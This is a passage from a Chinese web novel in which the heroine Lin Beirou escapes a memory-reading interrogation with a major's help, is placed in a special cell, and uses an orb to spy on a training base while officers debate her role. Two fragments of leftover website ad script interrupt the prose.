林北柔轻声说:“荀少校和他部下们跟袭击者交手过,他们也没看到?” 黑皮肤:“没有,对方一开始就采用了爆炸和火烧攻击手段,到处烟雾弥漫,只能看清隐约的人体轮廓,判断对方不是自己人。” 林北柔:“……我之后守在驾驶舱外面,以为会有袭击者来攻击机长和副机长,结果一个都没有。” 黑皮肤和矮个子都看着她,他们的表情冷静,松弛并且专业,黑皮肤嘴角甚至还有笑意。 黑皮肤:“现在你明白了,为什么我们会马不停蹄来审问你们,就在你到达之前,我的同事们对每个飞行器上走下来的活人,都展开了审讯,比你们提前半天。” 林北柔看着黑皮肤,又看看矮个子。 黑皮肤:“两个消息,一个好消息,一个坏消息,你想听哪个。” 林北柔:“好消息。” 黑皮肤:“好消息是,特别物品保住了,并且是经过你手保住的,从这一点,我个人认为你和荀少校嫌疑是最低的。” 林北柔大松口气,露出一个真心的笑容:“坏消息?” 黑皮肤表情不变:“袭击者融入了这一批幸存的基地学员,任何人都可能是袭击者,这一批名单上所有人都会被取消进入禁区的资格,移送到基地先关起来,为保险起见,也暂时包括你。” 林北柔:“啊???” 林北柔:“不是说我嫌疑最低吗???” 黑皮肤重复了一遍:“嫌疑最低。” 最低,不等于没有。 林北柔:“等等,等等……我要见周阆屿!我要见孙和铃孙部长!” 她一脸仿佛天塌了被雷劈了的表情,黑皮肤举起一只手:“不急,其实,我们还有另外一项任务需要你配合。” 林北柔升起不详预感:“什么?” 黑皮肤:“上级安排的审讯时间很长,而我说刚刚你的嫌疑最低,针对飞行器袭击这一事件,审讯已经结束了。” 林北柔看着他没说话,脸上笑容逐渐消失。 黑皮肤:“上级听了安全局的报告,得知你吸收了孙家那一枚灵核,融合了里面的记忆传承,我们想知道,你在里面看见了什么?” 68. 第 68 章 袭击者之所以用污染把所有人都变成黑糊糊的样子,看不清性别,就是为了混入其中。 这些人被污染后一度失去了意识,对发生的事记忆模糊,也就说不出可疑的人有哪些。 要慢慢搜查,时间会拖很久,等一个月过去,禁区早已开放,而组织会损失一大批能进禁区的顶尖战力。 除了劫走立方体失败,袭击者的第二计划已经成功了。 林北柔没想到的是,黑皮肤他们对自己的审讯,会绕到灵核上面去。 意料之外,情理之中。 非要怪,就要怪向光山内部分裂,梁巍英和谢轻眠走漏了消息。 那次在安全局,周阆屿带她顺利脱身了,对方肯定不会善罢甘休。 林北柔没想到他们会在这个时点上找上门。 林北柔:“我不知道,我在之后就失忆了,什么都想不起来。” 黑皮肤:“我们想听实话。” 林北柔:“我说的是实话,你可以用测谎仪测。” 黑皮肤:“飞行器迫降现场和水下爆炸现场被围起来了,调查员初步调查后,检测到非常强大的能量波荡,这种能量来自于你,而在之前,你没有经过正规修行训练,无法达到这种强度的灵力释放,我们认为,你初步复苏了关于灵核内容的记忆,那些魏瑕本人进入禁区的记忆,否则你不可能释放出这样的能量。” 他说的没错,林北柔确实恢复了三百年胜身洲的记忆。 但别的都没有。 林北柔:“我不知道。” 黑皮肤叹了一口气:“既然问讯没有用。”他朝矮个子扔了个眼神,矮个子起身从角落里拿起一只手提箱。 黑皮肤也起身过去,用不锈钢椅子抵住了门。 林北柔:“你们要干什么?刑讯逼供?” 黑皮肤:“我们要读取你的记忆。” 林北柔瞬间站了起来,慢慢后退,贴到墙上。 她脖子上戴了项圈,手上戴了手铐,不能发动修为,现在怎么办? 矮个子打开手提箱,黑皮肤过去拿出里面的东西,一件一件组合起来,林北柔越看越像一把结合了黑科技的发射器,上面还有复杂的阴阳刻符文。 黑皮肤:“请不要动,可能会有点疼,这就像麻醉枪一样,不会真的伤害到你。” 林北柔试图左右移动,黑皮肤瞄准了她。 砰。 一个长得麻醉枪的小玩意嗖地射了出来,林北柔拔腿就跑,麻醉枪跟着拐了个弯。 林北柔:“荀少校——呃,新垣少校——” 新垣鑫在门外靠墙抱臂等着,仿佛听到了有人在喊他,他动了动,走到了门口,另外一个和他不是一路的基地守卫见了,稍微举起手:“少校,请不要靠近。” 新垣鑫盯了他一眼,没有再往前,他知道这里隔音很好,理论上他是听不见任何动静的。 房间里发生了什么,他也不会知道。 但刚才,他确信听到了林北柔在叫他。 林北柔摔在了地上,麻醉枪撞碎在了墙上,黑皮肤拿着发射器,非常意外:“她不是戴了修为禁锢器?” 矮个子说:“可能是发射器出问题了?” 就在刚才,本来正在追踪林北柔的麻醉枪,突然就爆炸了,无缘无故变成了一堆碎片和液体。 林北柔感觉到脚踝上被毛茸茸软敷敷的爪子按了下,像是某种安抚。 灰兔!它还跟着她! 林北柔一下子就放心了,不想让黑皮肤看出来,装作虚弱紧张,又喊了一声:“新垣少校——” 黑皮肤调整了下发射器,朝林北柔一连发射了三枚。 三枚全部爆炸,墙面有了震感。 黑皮肤不可思议:“这里面的成分也不是爆炸成分,怎么会爆炸?” 林北柔看到液体流到墙面上,底下出现了一只湿乎乎的兔爪印,很小,几乎看不出来,她不动声色挪了两下,用身体把爪印挡住。 矮个子:“你在挡什么?” 林北柔吓了一跳,没想到对方这么敏锐,手背在后面赶紧墙上的水渍擦了,矮个子严肃地看着她,对黑皮肤说:“申请增援吧,她身上的力量超乎我们想象,就算不能动用修为,也不是我们能制服的,我建议先让她失去行动能力,意识休眠,再提取记忆。” 林北柔无法想象这些人看到她脑子里那些胜身洲的记忆,会闹出什么乱子来,林北柔有种预感,绝对不能让他们知道胜身洲的存在。 那是属于她和司空晏的天地世界,一片遥远而永存的仙洲。 门发出一声巨响,钢化门啪地撞上强,新垣鑫冷酷出现,身后的基地守卫被他暂时困在了原地。 黑皮肤震惊:“新垣少校?” 新垣鑫看着他手中的武器,冷冷开口:“这是在干什么?上级让我将林北柔全须全尾地送到天驷寮,难道你上级的命令和我上级的冲突?” 黑皮肤知道绝对打不过新垣鑫,放下了发射器,做了个手势,示意新垣鑫请便。 新垣鑫走了进去,找到坐在地上的林北柔,拉着她的胳膊把她拉了起来,说:“出去,我走你后面。” 林北柔感觉到肩膀上多了一团轻盈毛云,她安静如鸡地照新垣鑫说的做了,快步走出审讯室,新垣鑫背对她看着黑皮肤和矮个子,等她完全走出去了之后,才慢步倒退着出了审讯室,最后没忘了把钢化门关上。 新垣鑫对那个还在僵直状态的基地守卫发出警告:“五分钟后,你就能动了,不要打报告,是你们擅自破坏规矩,对被审讯对象动用休眠针。” 说完他过来按住林北柔的肩膀,带她往走廊另一边走。 林北柔:“新垣少校,我对你肃然起敬……” 新垣鑫:“少来。” 林北柔顺势而为:“明白,职责所在。” 走了一段,新垣鑫忽然开口:“我帮你,是看在荀照乘的面子上,他重视你,他救过我和我战友的命。” 林北柔在胜身洲见多了心眼子多的,还挺喜欢新垣鑫这样性格简单情绪浓烈的:“嗯,新垣少校,你和荀少校都是好人,让我想起我哥……” 新垣鑫皱眉:“你哥?你有哥哥?谁?”资料上明明显示林北柔是独生女。 林北柔自然而然丝滑转移话题:“对了,少校,我能见周阆屿吗,要不见孙和铃部长也行。” 新垣鑫眉头皱更紧了:“周阆屿跟你什么关系,你男朋友?那魏瑕呢?” 林北柔:“都是朋友。” 新垣鑫一言难尽地看了她一眼:“在这里你见不到任何人,就算他们本人亲自冲到基地来也没用。” 林北柔:“那我能见荀少校吗?他之后会怎么样?” 新垣鑫目光没有表情:“审讯结束后,他会留在基地,本来他就是作为你们这批学员的特战专训长官留下来的,为了训练你们在禁区的生存和长线作战能力,在飞行器上也是为了观察你们,他的嫌疑是最低的,如果他身份也有问题,那整个组织都完蛋了。” 林北柔:“荀少校战斗力有那么高?他进过禁区?” 新垣鑫:“你的问题太多了。” 虽然他这么说,林北柔软磨硬泡了一会儿,新垣鑫还是败给了她,直接一股脑回答了她的问题:“荀少校之前军衔是上校,差一点就是少将了,记过后降职了,对,他战斗力很强,进过禁区,之前和魏瑕在北落师门是一个分队的,二十四人为一个编制单位,几万修行者军士里面选二十四个人,单兵作战能力仅次于魏瑕,你说他多强?万年老二默默无闻而已。” 最后一句他咕哝出来的。 林北柔:“那你也是那个分队的?” 新垣鑫眼神死:“不是,我比他们小两届。” 林北柔:“荀少校为什么会被降职?” 新垣鑫:“作战的时候违背了将军命令,救了队友,任务目标没完成,又不是世家出身,没人捞他。” 林北柔猜到了什么,怪不得新垣鑫脾气不算好,倒很给荀少校面子。 新垣鑫:“好了,现在闭嘴,保持安静,再多问我一句,我就终结你。” 林北柔安静了半分钟。 他们走在空旷的走廊上,只听到新垣鑫靴子落地的沉闷动静,这里重重禁制,权限严格,保密等级很高,各个岗位的人不能随意去别的区域,怪不得刚才只有新垣鑫陪她一个人进来,估计他部下们权限不够。 话说他们走到这里来了,林北柔还没看见第三个活人。他们转过一个拐弯,前面出现了宽阔的空间,尽头有一架升降装置。 林北柔小心翼翼接上刚才的话题:“呃,新垣少校,他们说我是四号,理论上你是打不过我的……” 新垣鑫发出一声重重的嗤笑,甚至想想觉得太好笑,控制不住多笑了两声,觉得不对半秒控制住了,冷冷地奚落:“我现在一根手指就能拧碎你陶瓷一样的小细手腕,连近身格斗都还没入门,就幻想自己能当远程大法师了?你以为修行者军士是什么概念?现在你连最普通的下士都打不过!要是能在训练场上赢我一次,我愿赌服输,随便你提什么要求。” 林北柔:“好啊好啊,这可是你说的。” 前面一大段都左耳朵进右耳朵出,敢情就只听到最后一句眼睛就亮了,新垣鑫无言以对,瞥了林北柔一眼,她还穿着那件特制的布料,皮肤倒是没再泛红,就是没有合适的鞋子,基本光着脚,一路上脚底板都黑乎乎的了。 他们到了电梯门前,这个升降梯比林北柔见过的任何一台电梯都大,感觉里面可以开进两台越野车。 新垣鑫隔着手套伸手触碰了下电梯旁边的符文,几道不知哪儿来的光扫过他仅露在外面的一双眼睛,生物和元神双重识别。 冷漠的智能声响起“电梯正在下行”,林北柔看不太懂电梯旁边的明灭闪烁的符文,正凑过去打算研究,提示音再次响起“电梯已抵达”。 好快,林北柔愣住,这么重的电梯这么快? 新垣鑫脸色有点不对,虽然戴着面具林北柔看不到,新垣鑫走了两步站到林北柔斜前方,挡住她。 电梯朝两边开了,里面满满当当站着三十多个军士,都和新垣鑫一样的大高个,也都全副武装,站姿略松弛,穿着战术背心,戴着头罩面具手套,腰带上有短匕和改装法器,手里拿着刻有符文的射击器,不过他们的制服不是黑色,是沙色,肩章也和新垣鑫不一样。 全部人的目光都直直越过新垣鑫,落在了林北柔脸上。 双方都沉默了一秒。 站最中间的那个领队开口了:“哦,新垣啊,你到底要不要带人进来?” 新垣鑫目光一沉,手按上林北柔肩膀,自己先进去在那个领队前面挤出两个位置,再让林北柔站到了他前方,隔开其他人盯着林北柔的视线。 领队稍微后退给他们让开空间,这种距离,他可以清晰地看到林北柔的耳朵和侧脸。 领队问新垣鑫:“我们要去训练,你去哪?不来陪练几场?” 新垣鑫吐出四个字:“无可奉告。” 林北柔觉察出,那个领队语气好像很随意,不过他和新垣鑫的关系并没有那么熟,这种随意也有一丝刻意的成分。 领队也不在意:“听说,莫少将把旧伤养好了,这次回基地正式归队,除了继续当我们的长官,还会兼任基地特训长官,我还听说他和荀少校在飞行器上发生了一点小摩擦?” 林北柔只能听到新垣鑫在她后脑勺上方的声音,从声音能感觉到,他应该是盯着对方说出来的。 新垣鑫:“基地特训长官只有一个。” 领队:“他们说荀少校又有抗命嫌疑?谁知道万一他这次会不会又被降职。” 电梯运行安静平稳,林北柔几乎感觉不到移动,只能凭重力感知他们在向上。 尽管空间安静得针落可闻,林北柔依然感觉到四面八方视线存在感强烈,还有气氛微妙而强烈。 新垣鑫:“原定是谁,就是谁。” 领队见他死板无趣,又不被激怒,可惜地摇摇头,下一秒就转移了目标:“这位是谁?据我所知,女生宿舍离这里还有三公里吧,他们什么时候允许学员进入异性区域了?这违反规定吧?” “闭上你的狗嘴。” 新垣鑫低吼了声,给了他一个冰冷警告眼神。 对方跟他不是一个派系的,倒是和莫衡一个派系的,莫衡之 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 前多次带他们作战和执行任务,他们很服莫衡,也就对和莫衡有私仇的魏瑕敌意很重。 新垣鑫、荀照乘和魏瑕没什么关系,但荀照乘曾经和魏瑕在一个分队,新垣鑫又和荀照乘是同事。 这种微妙的人际也就蔓延了过来。 林北柔恍然大悟。 刚才就觉得疑惑,为什么一路上没看到一个女性修为者,明明飞行器上有不少,原来她们是在别的地方,居然离这里还有几公里吗?估计基地规矩不是一般的严。 沙色制服的领队根本不怕新垣鑫,直接跟林北柔对话上了:“你叫什么名字?也是这期学员?我叫吴硕,北落师门76集团军下属的特遣作战队少校,专门负责扫荡净化戈壁和沙漠地形下方的灵脉,上次跟境外友军联合作战,我们从北非撒哈拉那边带回来一窝耳廓狐,你想看看吗。” 林北柔:“我叫林北柔,耳廓狐在哪?” 新垣鑫:“别跟他说话!” 他转向那个领队,直接抓住对方胳膊,盯着他眼睛一个字一个字地说:“我带的人跟你没关系,这不是你该过问的事。” 领队看了新垣鑫一会,忽然笑了,退开些许,示意各让一步,空气从一触即发的紧绷,到恢复沉默沉闷。 “电梯”方向忽然改变,林北柔觉察到电梯居然开始横向允许,就像一台轻轨车厢似的,这什么科技。 柔和的叮铃响起,电梯门开了,新垣鑫掌心按着林北柔肩膀,将她轻轻往前推了推,示意她先出去,林北柔走了出去,回过头看向一电梯人,众人密密麻麻站姿不变,全都盯着她。 有的人直直看她脸,有的人在看她身上穿的衣服。 林北柔:“……” 记得她以前第一次出现在司空晏旁边,坐在他的尊座上,被他揽住,顺他目光看向百级白玉阶下匍匐的千百高阶修士时,那些人行礼完,起身看见了她,眼神也差不多。 看不出震惊,看不出太多情绪,但就是明确让你知道,你不该坐在那。 不过林北柔被看了三百年,都被看习惯了。 新垣鑫挡住众人视线,走出去之前,吴硕突然懒洋洋开口:“小新,以前是跟敌人打,现在连太微垣都分不清谁是敌人谁是自己人了,所以分清楚很重要,是吧。” 新垣鑫:“我只听我上级的命令。” 说完他头也不回地走了出去,再不给后面一个眼神,林北柔也被他带走了。 “电梯”门关上,朝其他方向运行,众人鸦雀无声,吴硕少校表情不可琢磨,旁边他的副手开口了:“那就是四号?” 基地不是没有女学员,修行者意志都很刚,多次联合演习,好几次拔得头筹的还是女队员,她们也是一样吃食堂,每天训练任务繁重,能徒手劈砖,单手扛大米,众人对女性军士的存在早已习以为常。 哪怕是最青涩的新兵蛋子,也不会像个女人最讨厌的那种男的,一个劲盯着女兵们看,反而都是目不斜视,在基地,没有性别,大家都是修行者军士,不管对方多漂亮都一样。 问题在于,林北柔长得太……太犯规了。 她看上去一点也不像那种力量十足,能成熟执行破袭或者人质拯救任务的类型。 反而更像个需要被拯救的普通人质。 况且她的脸,真的很难让人不盯着看,和喜好无关,就是本能。 除了魏瑕,吴硕还是第二次见到这种类型,莫衡和周阆屿也长得相当可以,也还在人类范围,比魏瑕还是有一段距离,那个姓魏的都不像真人,吴硕一度怀疑他是妖精变的。 想当初,魏瑕在基地就迷惑了很多人,甚至有实验场的资深研究人员被他所惑,帮他逃跑,连前程都不要了。 回忆了下刚刚看到的林北柔那张脸,吴硕敢肯定,哪怕林北柔去了女学员基地,造成的效果也一样。 但除了吴硕和他副手这样级别比较高的,其他人没见过魏瑕,并不知道这种长相算是编号者的特殊天赋,就好像造化天道在决定给谁分配哪种力量时,顺手把人捏好看了点,觉得这样更顺眼。 其他人保留对林北柔的判断之余,难免起了一些可能他们自己都没意识到的轻视。 毕竟,人是以貌取人的动物。 果然有其他人开口了:“四号预备,跟我想的不一样,我以为应该跟莫少将之前差不多。” 副手给了个中立的评价:“看上去太小了,感觉还没毕业。” 吴硕知道他的言下之意,传闻中四号的战力潜力释放出来,有毁天灭地的效果,能将数千万人口的国际都市瞬间夷为平地,是不折不扣的战争机器。 当第一个四号候选出现,并且确定是华夏境内的人,他们休息室所有人都在欢呼,就好像看了一场精彩的奥运比赛,己方获胜了。 莫衡从军官学校毕业,加入部队后,他们很多人亲眼看着他一路是怎么和同伴一起作战,立功晋升的,莫衡眼光和选择都十分稳准,总能带他们完成任务,顺利撤退,他所带领的部队,存活率远远高于其他部队,所有人都很服莫衡。 就在每个人都以为太微垣会正式认定莫衡为四号,莫衡也即将突破境界,突然在一次常规净化任务中,莫衡在地下灵脉失踪了半个小时,找到时人已经失去意识,元神被严重污染。 抢救回来后,莫衡失去了他的天赋。 并不是说他没有修为了,经过复建计划,他的元神补完,力量恢复,依然是非常强大的修行者,但天赋发生了某种变化,不再具有预示书中四号的特征。 这就意味着,冥冥中,看不见的天道将那种特殊的天赋从他身上移走了,下一个四号即将出现。 事件被反复调查,莫衡说他昏过去前,看到了魏瑕的脸。 魏瑕有不在场证明,却似乎存在某种程度的疑点,因此被很多人质疑。 有人说,魏瑕身为一号,长期被组织封印在昆仑地下灵脉场,心理扭曲阴暗,见不得其他人比自己好,二号和三号都在境外,他够不着,干脆阴死四号泄愤。 对一个修行者来说,有什么比失去天赋更生不如死的,魏瑕真是卑劣阴毒。 莫衡和魏瑕,若不是还在一个组织里,早就是你死我活的死敌。 69. 第 69 章 空间又深又宽,前面出现了天光,等走过去后,才看到是个斜向上的很长的通道口,像隧道洞口一样,一股风吹到脸上,带着烈日和沙子的干燥气息,林北柔隐约看到了外面一望无垠的戈壁滩,再更远的地方就是真正的沙漠。 新垣鑫只是带她经过,没有让她去外面,转了个弯,前面就出现一个明显和其他地方有缓冲和隔断的区域,不起眼的地方贴着金属铭牌,林北柔专门走近了去看。 ——天驷寮。 林北柔虽然不算读的书特别多,好歹在胜身洲待了很久,该知道的修士文化还是知道的。 林北柔:“这是用星宿名字命名的?什么地方?该不会是监狱?” 她摸了摸坚实的墙壁,冰冰凉凉,怪哉,这墙壁黑得不行,感觉是吸光的,细看却有细碎的一闪一闪的矿石色泽,和其他区域的军事级别建筑材质都不一样。 感觉……有点像胜身洲那些灵矿。 新垣鑫语气平平:“用来关你这个战争机器的,无期徒刑,单人监狱,快进去。” 林北柔站着不动。 新垣鑫和她对视了三秒,眼神没有感情。 林北柔:“……少校,你真的很不会开玩笑,不过挺好笑的。” 新垣鑫表情破裂了一丢,低声训斥:“谁跟你开玩笑了,这地方就是单独关你们编号人员的,过来。” 林北柔不太喜欢这个地方。 她有一段逃跑失败,被司空晏抓回去,然后在一个黑黢黢的地方关了好几年的经历。 新垣鑫见她磨蹭,咬紧后槽牙,打算训练时好好磨一磨这无组织无纪律的,面无表情过去按住林北柔肩膀,带她站到了和墙一样材质的门前,没有提示音也没有闪光,林北柔只感觉到眉心好像被什么轻柔的风吹了下,又像一滴雨落在皮肤上。 门缓缓平移开了,露出里面的走廊。 新垣鑫带林北柔进去了,穿过走廊,抵达了一个很大的套间,甚至还有一扇窗户,可以观察到外面的风景,和监狱没什么关系,空气流通良好,应该是有通风系统。 林北柔走过去趴窗户上,发现没有可以开的地方。 新垣鑫:“想都不要想开窗,那不是玻璃,动一下你就完了。” 林北柔抬起头,天花板上有一个巨大的星宿图腾,是一只杀气腾腾的动物,仔细看像兔子,不过体型巨大。 新垣鑫:“必需品都在房间里,洗澡间有热水,冰箱里有吃的,还有手册你可以自己看,然后你就在房间里待命,我先走了。” 林北柔点点头。 新垣鑫看了她一眼,想起一件事,走了几步过来到她面前:“伸手。” 林北柔伸出手,新垣鑫一点不拖泥带水,直接把她手铐解开了,然后收走。 林北柔:“项圈也解了?” 新垣鑫:“不行,要等上面下令。” 林北柔唉声叹气。 新垣鑫:“老实点,待着别乱跑,你也跑不出去。” 新垣鑫说完就走了,等他关上门,林北柔活动着手腕,缓缓环顾了房间。 虽然不能动修为,她可以凭直觉感知,这里没有监控。 林北柔把一直趴在她肩膀上的那团毛茸茸拿下来,放到地上,灰兔瞬间显形,一团球嗖地窜了出去,在整个套房快速狂飙,逡巡了一圈领地,没有发现异常,才停下来,慢慢一跳一蹦回到林北柔面前,小鼻子快速耸动。 林北柔:“我要去洗澡,这两天都没沾过水,真受不了。” 林北柔去了淋浴间,有毛巾和香皂,还有牙膏牙刷和漱口杯,都没拆封,东西齐全。 林北柔迅速三下五除二脱掉衣服,拧开花洒,热水均匀洒落,她正洗着,门被推开了,一只灰兔毫无自觉地拱了进来,蹦到玻璃推拉门外面,仰头看着林北柔,示意它要进去。 林北柔低头看着它:“你也想洗?兔子不是不能洗澡吗……” 灰兔眼睛里映照出林北柔全身,它锲而不舍地用脑袋顶玻璃,三瓣嘴都扁了,林北柔只好把它放了进来,灰兔在水花中甩甩毛,凑过去舔林北柔腿上的擦伤,那是林北柔之前在飞行器上弄伤的。 林北柔本来想阻止的,结果兔舌头舔了几下,伤口居然肉眼可见在愈合,皮肤非常痒。 林北柔:“你到底是什么东西?算了,话说,魏瑕本人到底在哪里,你知不知道?” 她蹲下去给灰兔搓毛,灰兔享受地眯起眼,对她的问题没有反应。 浴室墙上有一面镜子,刚好可以照见全身,林北柔看着脖子上戴的项圈,怎么看怎么不顺眼,这玩意倒是很防水,从外观看,就是一条黑色颈环,光滑无痕,没有任何特质,但只要林北柔一动用修为,元神就会被电。 林北柔不想再穿之前的布料,之前出了汗,布料都脏了,她刚才顺便把布料一股脑扔进了洗手台泡了水。 结果衣柜里面却只有常规的制服,不知道为什么,用手指碰没事,一旦穿上,皮肤就又痒又热,难受得不行。 林北柔:“……” 糟了,没衣服穿了。 林北柔只好暂时用浴巾裹住身体,浴巾是纯棉的,不会让她皮肤发红,但总不能一直裹着浴巾,她去了套房其他地方,翻箱倒柜,发现这里一切东西都是军用制式,有些地方还有奇异的符文,象征这里是修行者基地。 林北柔翻桌子下面的抽屉时,翻出一个球体。 它在抽屉最深处,好像是被人胡乱塞进去的。 这个球体外面像显示屏,林北柔试着找开机键,没反应。 林北柔把球体递给旁边嗅个不停的灰兔:“给它注入灵力试试?” 灰兔抬起兔爪,软软地按上显示屏,过了数十秒,球体忽然嗡动,缓缓亮起,林北柔从来没见过这种界面,立体成像投放到了空气中。 林北柔操作了好一会,才熟悉这种黑科技。 林北柔:“这是……摄像头?我好像能看到外面。” 眼前出现了画面,最大的画面就是刚才天驷寮的正门。 林北柔用手指放大缩小画面,发现这个玩意就像地图导航一样,可以一直往外延伸。 林北柔不停乱划,镜头跑出了建筑,跑到了戈壁上,连沙地上的杂草都看得一清二楚。 突然,球体发出提示音。 “检测到人脸,人脸识别验证启动,读取中,林北柔,四号候选,身份,20XX级学员,职衔,无,权限,无,已自动匹配女兵修基地,请问是否前往查看?” 林北柔吓了一大跳,回过神来说:“去看看。” 镜头刹那切到了数公里外的另一处区域,建筑相似,都是修筑在地下,只在地面留出和土地平齐的通道口,非常不起眼。 林北柔:“进去看看?” 下一秒,镜头转到了食堂,女兵修们都不吵,很安静在用餐,镜头悬在一个角落上方,下面是林北柔认识的熟人。 谢轻眠,和一群其他修行者。 孙芮晗不在,林北柔记得她说过自己不达标,是作为后勤工作人员来跟进的,不是学员。 林北柔听了十多秒,听出来了。 所有人都在关注飞行器上的袭击事件,在场还有其他飞行器上的学员,纷纷在问谢轻眠。 “你是说,所有人都有嫌疑?那他们怎么放你出来了?”有人问。 谢轻眠:“我有向光山的徵记,太微垣确认过了,我不会被替换,其他人没有,他们还会来找我做审讯,补全飞行器上事件发生经过。” 有个狼尾短发女生:“是四号候选和魏瑕他们救了我们,要不是他们先把□□带走了,一飞机的人全没了。” 谢轻眠看了她一眼:“所有人都有嫌疑。” 有个戴着手镯的女生附和:“对,不能排除他们,不一直说魏瑕立场混乱吗?我叔叔他们说,他之前被魏家抓了,结果谁想到,魏抒培死了,上位的是魏瑕的亲信!明晃晃的阳谋。” 众人一阵低声议论,说什么的都有,附近其他端着餐盘路过的学员听见了,也走到空桌子前坐下,听她们说什么。 狼尾短发女生抱起手臂:“不好意思,我比较保守,所有出生在境内的编号者,我都会看作自己人,不会随便怀疑他们。” 两边观点形成对立,气氛一下子有点微妙,林北柔能看出来,谢轻眠周围坐着同意她的学员,短发女生周围坐着她的同伴们。 手镯女生是谢轻眠这边的,似乎是世家出身,表情有种骄矜和距离感,比之前还没洗心革面的孙芮晗还傲一些。 手镯嗤了一声:“自己人?他是自己人,那莫衡少将是怎么被自己人坑了的?当时一个敌人都没有,他才是正儿八经的四号候选,除了魏瑕,还能有谁?” 狼尾冷笑:“他已经不是了,你说什么都没用,现在的四号是林北柔。” 手镯:“选拔都没有,封正都没有,哪里来的四号?她不才是个候选吗?她连战场都没上过,人家莫衡少将可是立下赫赫战功,实打实有贡献的!” 狼尾:“哦,那你找第二个候选给我看看?” 手镯:“你……” 眼看气氛一触即发,马上要吵架,一个胖胖的和气脸兵修姑娘出来打圆场:“好了,没有明确证据的话,还是别下任何结论,等调查结束就明朗了。” 手镯根本不领她的情:“你家刚刚攀上那个宁西雍,你当然可以装中立啊!” 和气脸不再和气,笑了一声:“境外友军的二号被敌人搞死了,三号是敌方势力,被敌方藏得好好的,你却对我们现存有生力量恶意挺大,你是不是二鬼子?” 手镯跳了起来,食指立马指着她:“你说什么!你有种再说一遍!” 支持她的人马上跟和气脸对骂了起来,狼尾的同伴都去帮和气脸,双方从大吵到推对方,没超过五秒,很快角落就陷入混乱,食堂其他地方正用餐的学员都回头看了过来。 两个身穿基地制服的军士走了过来,也是女性,不过比其他人高大很多,肩宽都是那个手镯的两倍,五官俊,但面容粗粝,像是风吹日晒过很久,其中一个军士直接低音炮呵斥:“安静——” 她声若洪钟,宛若传说中的狮子吼,连林北柔隔着屏幕都被震慑了半秒。 军士一下子镇压住一群年轻姑娘,所有人明显知道基地规矩,全部鸦雀无声,包括脾气最差的手镯都收敛了气焰。 军士目光扫过她们:“被隔壁伏羲看到,你们是这样的纪律,真是在丢女娲基地的脸。” 很多人避开她的眼神,垂下了头,似有愧容。 军士平静:“前年和去年的单兵和团体联合作战,评分最高的都是伏羲,你们还在这八卦吵架,前两届前辈还能指望你们?精力用不完,就出去跑圈吧。” 所有人脸色都变了,连狼尾脸色都白了两分。 军士大吼一声:“起立!整队!” 所有人迅速集合,排成一队,军士一喊口令,众人全部整整齐齐跑出去了,连左脚右脚落下去的位置都一样,桌子上横七竖八的餐盘里还有没吃完的饭菜。 那个军士忽然抬眼,朝虚空中一瞥,直直跟林北柔对上视线。 林北柔:“……!” 林北柔瞬间吓了一大跳,下意识中断了画面,看来这个基地的高级修行者确实有两把刷子,灵感很高,能觉察到不明存在的窥视。 灰兔在她臂弯里抬起后腿挠耳朵后面,全身绒毛抖抖抖,这小兔子来到基地后,体型好像变大了那么一丢丢,不知道是不是林北柔的错觉。 “检测到您当前位于伏羲基地,与基地规定冲突,若您迷路,可以查询地图导航,前往最近的交通站台,让相关工作人员将您转移至女娲基地。” 林北柔摆弄着球体,明白了这个东西挺聪明的,可以接收各种复杂长句段语音指令,又不像什么家里买过的天猫精灵小爱同学,有时候说是人工智能,不如说人工智障。 林北柔:“我要打电话,你可以打电话吗?” 球体:“您权限过低,无法进行基地对外通讯,检测到您位于天驷寮,入住人员可内线联络相关部门主管,是否需要帮您建立即时通话?” 林北柔:“好。” 球体 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 发出两声长长的嘀,通讯被接起,对面响起一个六十多岁感觉是大领导的声音,声音不大,语气很平,但气场让人神经刹那绷紧了。 林北柔凭经验知道,这些人是战场的领导层,轻描淡写又重于泰山的一句命令,就是无数条人命,他们能带士兵走向胜利,也能以稳定的心态面对对他人生死的定夺。 “喂。” “……您好,我是林北柔,我在天驷寮,我想联系周阆屿,还有孙和铃部长。” 对面停顿了一秒,林北柔听到模糊的对话,似乎是对面在询问助理。 等了一会,对面声音重新响起:“你现在暂时联系不到他们,你是怎么拿到龙珠的?” 林北柔:“龙珠?” 对面:“骊龙珠,就是你手上那个球。” 林北柔震撼,这玩意是个法宝?可是明明长这么黑科技。 林北柔:“我在抽屉里面找到的……” 对面没说话,好像在思考。 林北柔赶紧说:“领导,我皮肤现在对制服衣料过敏,只能穿那种特制的,但是之前那条弄脏了,可以让人送衣服来吗?就是内衣内裤和外面穿的都要,我还缺鞋子,对了,有熟食吗。” 对面没说话,好像又在跟助理说话了。 对面:“我让人送过来。” 通讯挂了。没有任何别的补充信息。 另一边,林北柔拨通了通讯的那间会议室。 好几个身穿军官服的人都坐在桌子前,全是头发灰白,面容有岁月痕迹,没有任何表情,都看着那个刚刚接了林北柔电话的大领导。 大领导徐徐说:“看我干什么,又不是我给她开的权限。” 他旁边一个头发很短近乎寸头、面相很严厉的年长者开口:“骊龙珠怎么会直接被她打开?” 大领导:“你问我,我问谁。” 寸头年长者沉默。 大领导:“自从魏瑕走了,就没人能再打开骊龙珠,现在林北柔打开了。” 一个女性长官开口:“说明她确实是四号。” 寸头年长者反对:“她是被魏瑕栽培出来的,魏瑕刻意选择了她,因为上一个四号候选,莫衡,他不符合魏瑕的利益。” 女长官:“那又如何?私人恩怨并不重要,我们必须在一个月之后进入禁区,面临禁区的未知,还要面临敌方的宣战,他们的目标是杀光禁区每一个人,抢占禁区资源,取得太初灵核,他们甚至还想在全世界面前处决我们,在最混乱最无人能管的地带,公开处决我们国家的军士,意味着什么,会造成什么影响,大家都知道。” 会议室一阵安静。 女长官:“这场战役一旦失败,等于什么,不用说,我们都知道,这不仅是民族存亡,并且是每一个同盟文明存亡的危机。” 有人开口:“二号已经死了,敌方手上有三号,而我们的一号失踪了,目前五号周阆屿,他的力量还不足以成熟到和三号抗衡,所以我们只有四号,我们必须让林北柔成为四号,一个月之内,她必须突破境界,否则进了禁区,被敌方抓走,结果更糟糕。” 女长官:“不错,我们面临极其严峻的局面,就是万丈深渊上走钢丝,前面是未知的迷雾,后面钢丝着火,只能硬着头皮向前走。” 